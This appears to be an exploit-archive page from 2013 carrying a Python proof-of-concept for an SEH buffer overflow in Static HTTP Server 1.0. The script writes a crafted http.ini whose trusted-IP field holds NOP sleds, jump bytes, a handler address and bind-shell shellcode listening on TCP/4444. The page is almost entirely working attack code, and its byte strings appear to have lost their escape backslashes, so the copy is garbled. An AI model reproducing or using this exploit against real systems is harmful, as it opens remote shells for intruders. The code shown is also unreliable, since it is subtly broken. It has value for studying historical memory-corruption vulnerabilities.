Home / exploits

PDF

Static HTTP Server 1.0 SEH Overflow

Posted on 30 June 2013

#!/usr/bin/env python

import os

#
# Title************************Static HTTP Server SEH Overflow - HTTP Config - http_tiplist
# Discovered and Reported******June 2013
# Discovered/Exploited By******Jacob Holcomb/Gimppy, Security Analyst @ Independent Security Evaluators
# Exploit/Advisory*************http://infosec42.blogspot.com/
# Software*********************Static HTTP Server v1.0 (Listens on TCP/80)
# *****************************http://sourceforge.net/projects/static-httpd/?source=dlp
# Tested Platform*************Winodws XP SP2
# CVE**************************Static HTTP Server 1.0 - SEH Overflow: Pending
#
# Notes:
# Multiple HTTP commands and headers are vulnerable to overflows and trigger an exception, but
# I was unable to control the SEH handler with anyting but configuration options in the http.ini.
#

def fileCreate():

 print "
[*] Your current file directory is %s. " % os.getcwd()

 try:
 File = "http.ini"
 fileOpen = open(File, "w")
 print "[*] Configuration file %s will be written to %s." % (File, os.getcwd())

 except:
 print "
[*] ERROR! There was an issue creating your file. Please make sure you have write access to %s!!!!!
" % os.getcwd

 return fileOpen

def main():

 NOP1 = "x90" * 1691
 NOP2 = NOP1[0:349]
 prev = "xEBxF6x90x90" #Short JMP -10 bytes
 Handler = "x9Ex1Dx40x00"#00401D9E httpd.exe
 jmp = "xe9x87xeexffxff"#FFFFEE87#"xe9xA3xfexffxff"
 #344 Byte Bind Shell TCP/4444
 shellcode = ("xdbxddxbax81x90xd3xb1xd9x74x24xf4x5bx2bxc9" +
"xb1x50x31x53x18x83xebxfcx03x53x95x72x26x4d" +
"xffx99x84x46x06xa2xe8x68x98xd6x7bxb3x7cx62" +
"xc6x87xf7x08xccx8fx06x1ex45x20x10x6bx05x9f" +
"x21x80xf3x54x15xddx05x85x64x21x9cxf5x02x61" +
"xebx02xcbxa8x19x0cx09xc7xd6x35xd9x3cx3fx3f" +
"x04xb7x60x9bxc7x23xf8x68xcbxf8x8ex30xcfxff" +
"x7bxcdxc3x74xf2xbex3fx97x64xfcx0ex7cx02x89" +
"x33xb2x40xcdxbfx39x26xd2x12xb6x87xe2x32xa1" +
"x89xbdxc4xddxc6xbex0ex7bxb4x26xc6xb7x08xcf" +
"x61xcbx5ex50xd9xd4x4fx06x2axc7x8cxecxfcxe7" +
"xbbx4cx75xf2x22xf2x68xf5xa8xa1x18x04x52x99" +
"xb4xd1xa5xefxe9xb5x4axd9xa2x6axe6xb5x17xce" +
"x5bx79xc4x2fx8bx1bx82xdex70x82x01x68x69xdf" +
"xcdxcex70x90xcax58x7ax86xbex76xd5x72xc1xa7" +
"xbdxd8x90x66xd7x76x15xa0x74x2cx16x9dx13x2b" +
"xa1x98xadxe4xcex73x7dx5fx64x29x81x8fx17xb9" +
"x9ax49xd1x43x32x55x0bxe6x43x79xd5x63xd8x1c" +
"x71x17x4dx68x64xbdxddx33x4fx8ex57x24xe5x4a" +
"xe1x49xc8x92x02x27xd4x51xc8xc6x6ax7ax81xba" +
"x10xbax0ex6fx4fxd2x22x8ex3cx35x3cx1bx06xc5" +
"x14xbfxd1x6bxc8x11x8cxe1xebxc0x7fxa3xbax1d" +
"xafx23x90x3bx4ax7axb9x44x82xe8xc1x44x1dx12" +
"xedx30x36x10x8dx83xdcx17x44x59xe3x38x01xae" +
"x91xbdx8dx1dx5ax6bxcex72")
 sploit = NOP2 + shellcode + NOP1 + jmp + prev + Handler
 File = fileCreate()
 Config = ("""
# HTTP Daemon config file
# GarajCode programed by Savu Andrei

# This is the configuration file

# You can configure the maximum number
# of simultanious connections
max_http_connections = 256

# The port on which the server will listen
http_port = 80

# Multiple connections from same computer
http_mcsc = 1

# Banned ip list - separed by ;
http_ubip = 0
# http_biplist = ""

# Trusted ip list - separed by ;
http_utip = 0
# http_tiplist = "%s"

 """) % sploit

 File.write(Config)
 File.close()

if __name__ == "__main__":
 main()

 

TOP